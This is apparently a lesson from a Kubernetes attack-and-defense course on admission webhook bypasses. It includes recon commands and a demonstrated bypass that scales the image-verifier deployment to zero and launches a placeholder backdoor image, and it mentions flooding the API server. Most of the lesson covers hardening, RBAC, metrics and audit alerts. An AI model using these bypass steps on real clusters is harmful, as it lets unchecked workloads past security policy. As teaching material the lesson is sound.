CoursesKubernetes attack & defenseWebhook security & bypasses

Webhook security & bypasses

failurePolicy, exclusions, and the webhook as target.

Expert30 min · lesson 9 of 15

A security gate that opens itself the moment it gets overwhelmed isn't really a gate. Plenty of admission webhooks work exactly that way, and most teams don't find out until an incident writes the postmortem. The failing branch barely shows up in testing, because during a test the webhook is always up and the interesting path never runs. Quick refresher: an admission webhook is a bouncer the API server calls before it writes anything to the cluster. You ask to create a pod, the API server phones the webhook over HTTPS, the webhook answers admit or deny, and only then does the object become real. The whole security story hangs on one question nobody asks at install time. What happens when the bouncer doesn't pick up the phone?

Fail open: the guard who waves you through

Every webhook carries a failurePolicy, and it has two settings that are exact opposites. Ignore says: if the webhook is unreachable or too slow, admit the request anyway. Fail says: if the webhook can't be reached, reject it. Ignore fails open, Fail fails closed. Now read that again as an attacker. If a webhook checks that every container image is signed and its policy is Ignore, you never have to beat the check. You only have to make the webhook miss the call. Delete its pod, flood the API server so the request runs past timeoutSeconds (a call that answers slowly is treated exactly like a call to something dead), or just wait for the next redeploy window. Your unsigned backdoor image walks right in. That's the guard who stops checking IDs the second the line gets long.

find the weak gate (recon)
kubectl get validatingwebhookconfigurations -o json \
| jq -r '.items[].webhooks[]
| [.name, .failurePolicy, (.timeoutSeconds|tostring)+"s"] | @tsv'
output
image-policy.acme.io Ignore 30s
validate.kyverno.svc Fail 10s
validation.gatekeeper.sh Fail 3s

That first row is the target. Ignore with a 30-second timeout means the gate is open for a full 30 seconds every time the webhook stumbles. Here's the idea run end to end. Say you've compromised a service account (SA = the identity a pod runs as) in the policy namespace that can scale deployments. Take the webhook's Deployment to zero replicas, then create the pod the webhook was built to block. The API server tries to reach a service with no healthy endpoints, the call errors, and because the policy is Ignore the pod is admitted anyway. Scaling to zero is the loud way to do it. The quiet way is to leave the webhook running and bury the API server in requests until its call can't return inside timeoutSeconds, since a slow verdict and a missing verdict are the same event to the failure policy. Two more gaps live right next door. A namespaceSelector that skips a namespace means anything you can place there is never checked at all, so a broad exclusion is a permanent bypass. And matchPolicy: Exact only matches the literal API path in the rule, so the same object sent through a different API version or a subresource slides past; Equivalent closes that.

the bypass in action
kubectl -n policy scale deploy/image-verifier --replicas=0
kubectl run rogue --image=ghcr.io/evil/backdoor:latest --restart=Never
output
deployment.apps/image-verifier scaled
Warning: failed calling webhook "image-policy.acme.io": failed to call webhook: Post "https://image-verifier.policy.svc:443/validate?timeout=30s": no endpoints available for service "image-verifier"
pod/rogue created
Why a down webhook is a bypass
The webhook can't return a verdict in time
pod evicted, service flooded past timeoutSeconds, or config deleted
failurePolicy: Ignore
Admitted, unchecked
the classic fail-open bypass; the object is written as if it were approved
failurePolicy: Fail
Rejected
policy holds, but every matching write stalls until the webhook is back
namespace not selected
Never called
a workload placed in a skipped namespace is invisible to the policy
matchPolicy: Exact
Slips past
the same object sent via another API version or subresource dodges the rule
Only the Fail branch actually enforces. The other three are gaps an attacker probes for first, and the fail-open one leaves almost no trace in the response.

Close the gate for real

The fix is a bundle, not a single flag. Set failurePolicy: Fail so a missing verdict means no admission. Keep timeoutSeconds tight (5 seconds is plenty) and earn the right to fail closed by making the webhook genuinely available: several replicas spread across nodes, a PodDisruptionBudget (PDB, the object that stops an upgrade from draining every replica at once), and a health probe. The probe earns its keep here, because it pulls a wedged replica out of the service before it starts swallowing calls. Swap blanket namespace exclusions for an opt-in label, so a namespace is covered unless something you control explicitly marks it as skippable. Add matchPolicy: Equivalent. And treat write access to webhook configs as control-plane power, because whoever can create or edit a MutatingWebhookConfiguration can inject a sidecar into every pod in the cluster. Lock that RBAC (Role-Based Access Control, the rules for who can do what) down hard and alert on any change to these objects.

image-policy.yaml
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: image-policy
webhooks:
- name: image-policy.acme.io
failurePolicy: Fail # fail closed: no verdict means no admission
timeoutSeconds: 5 # tight, because the service is highly available
matchPolicy: Equivalent # also catch alternate API versions/subresources
sideEffects: None
admissionReviewVersions: ["v1"]
namespaceSelector:
matchLabels:
image-policy.acme.io/enforce: "true" # opt-in, no blanket skips
objectSelector:
matchExpressions:
- key: image-policy.acme.io/skip
operator: DoesNotExist
clientConfig:
service:
name: image-verifier
namespace: policy
path: /validate
rules:
- apiGroups: [""]
apiVersions: ["v1"]
operations: ["CREATE", "UPDATE"]
resources: ["pods"]
scope: Namespaced
same attack, now blocked
deployment.apps/image-verifier scaled
Error from server (InternalError): Internal error occurred: failed calling webhook "image-policy.acme.io": failed to call webhook: Post "https://image-verifier.policy.svc:443/validate?timeout=5s": no endpoints available for service "image-verifier"
failurePolicy: Fail can brick the cluster if it points at itself
The sharp edge of failing closed: if your webhook matches the namespace it runs in (often kube-system) and every replica goes down, the API server can't admit the very pods that would bring the webhook back. Now nothing schedules, including the fix. Keep the webhook's own namespace and the system namespaces out of scope with a precise objectSelector or a namespace label, never a broad rule, and always run the webhook with enough spread and a PodDisruptionBudget that Fail never trips during a normal upgrade.

Detection is refreshingly direct here, because the API server counts its own fail-open events. Every time a webhook is waved through on failure, the metric apiserver_admission_webhook_fail_open_count ticks up, labeled by webhook name. A healthy cluster sits at zero. Anything above zero means your gate has been open for live traffic, and a rising count during a deploy or a load spike is the exact signature of the bypass above. Read what the counter actually measures. It doesn't track latency or load. It tracks how many times a live request got written without your policy ever running on it, and zero is the only number you want to see.

detect fail-open events
kubectl get --raw /metrics \
| grep apiserver_admission_webhook_fail_open_count
output
apiserver_admission_webhook_fail_open_count{name="image-policy.acme.io",type="validate"} 4
apiserver_admission_webhook_fail_open_count{name="validation.gatekeeper.sh",type="validate"} 0

Scrape that into Prometheus and alert on any increase. Pair it with an audit-log rule that fires on create, update, or delete of validatingwebhookconfigurations and mutatingwebhookconfigurations, so a tampered or deleted gate pages you instead of going quiet. Between the metric and the audit rule you catch both ways the gate opens: the webhook falling over, and someone editing the config that governs it.

Quick check
01An image-signing webhook uses failurePolicy: Ignore with a single replica. You want to actually enforce it without bricking the cluster. What is the right move?
Correct — Failing closed only makes sense once the service is highly available, so the block never fires during normal churn or a rolling upgrade.
Incorrect — Still fails open. A longer timeout just widens the window an attacker uses to slip an unsigned image past a stalled webhook.
Incorrect — RBAC decides who may create a pod, not whether its image is signed. It cannot inspect image contents, so the check is simply gone.
Incorrect — Matching kube-system with Fail risks a deadlock: if the webhook's own pods cannot be admitted, nothing recovers on its own.
02Your webhook has failurePolicy: Fail and a tight timeout, but a namespaceSelector that excludes a broad set of namespaces. Why is that still a bypass?
Incorrect — There is no background re-check. A request that the selector excludes is never sent to the webhook at all.
Correct — A blanket exclusion is a permanent hole. Flip it to an opt-in label so a namespace is covered unless something you control marks it skippable.
Incorrect — failurePolicy only governs what happens when the webhook cannot be reached. It never applies to a request that was excluded from matching.
Incorrect — namespaceSelector works the same way for both kinds. Nothing about validation overrides it.
03You scrape the API server metrics and see apiserver_admission_webhook_fail_open_count for your image policy sitting at 4, up from 0 last week. What does that number actually tell you?
Incorrect — The opposite. Fail-open counts requests that were ADMITTED without the policy running. Rejections are what you get from failurePolicy: Fail.
Incorrect — A slow call that still answers is not a fail-open event. This counter only moves when no verdict was applied at all.
Correct — The counter tracks admissions that skipped the check entirely, which is why zero is the only acceptable reading and any increase deserves an alert.
Incorrect — Config edits are caught by an audit-log rule on validatingwebhookconfigurations, which is a separate detection from this metric.

One theme keeps returning: the webhook's verdict is trusted absolutely, so everything that protects it (its RBAC, its uptime, and who can edit its config) is security-critical. Follow that trust one layer down and you reach the place every admission decision is ultimately written and read. That's where we go next, into the control plane and etcd, the cluster's key-value database, where an attacker who reaches the datastore directly skips admission altogether.

Try this

Work through “Close the gate for real” yourself on a sandbox you can throw away, following the commands above in order. Then break one step deliberately and re-run, so you have seen the failure before it finds you.

Takeaway

The trap worth remembering here: failurePolicy: Fail can brick the cluster if it points at itself. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related